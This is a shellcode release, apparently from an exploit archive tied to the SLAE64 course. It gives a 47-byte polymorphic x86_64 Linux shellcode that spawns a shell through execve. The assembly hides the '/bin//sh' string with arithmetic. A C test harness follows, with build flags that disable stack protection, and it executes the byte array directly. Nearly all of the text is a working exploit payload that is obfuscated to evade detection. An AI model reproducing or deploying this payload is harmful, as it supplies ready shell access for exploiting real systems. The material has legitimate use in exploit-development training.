47 bytes small Linux/x86_64 polymorphic execve-stack shellcode.
83cd639a392721f34f27d28e87d3aa36ceba9b8a58c07d37c78e1669a41134f7
/*---------------------------------------------------------------------------------------------------------------------
/*
*Title: x86_64 linux Polymorphic execve-stack 47 bytes
*Author: Sathish kumar
*Contact: https://www.linkedin.com/in/sathish94
* Copyright: (c) 2016 iQube. (https://iQube.io)
* Release Date: January 6, 2016
*Description: X86_64 linux Polymorphic execve-stack 47 bytes
*Tested On: Ubuntu 14.04 LTS
*SLAE64-1408
*Build/Run: gcc -fno-stack-protector -z execstack sellcode.c -o shellcode
* ./shellcode
*
global _start
_start:
xor esi, esi
xor r15, r15
mov r15w, 0x161f
sub r15w, 0x1110
push r15
mov r15, rsp
mov rdi, 0xff978cd091969dd0
inc rdi
neg rdi
mul esi
add al, 0x3b
push rdi
push rsp
pop rdi
call r15
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xf6\x4d\x31\xff\x66\x41\xbf\x1f\x16\x66\x41\x81\xef\x10\x11\x41\x57\x49\x89\xe7\x48\xbf\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xff\xc7\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x41\xff\xd7";
main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}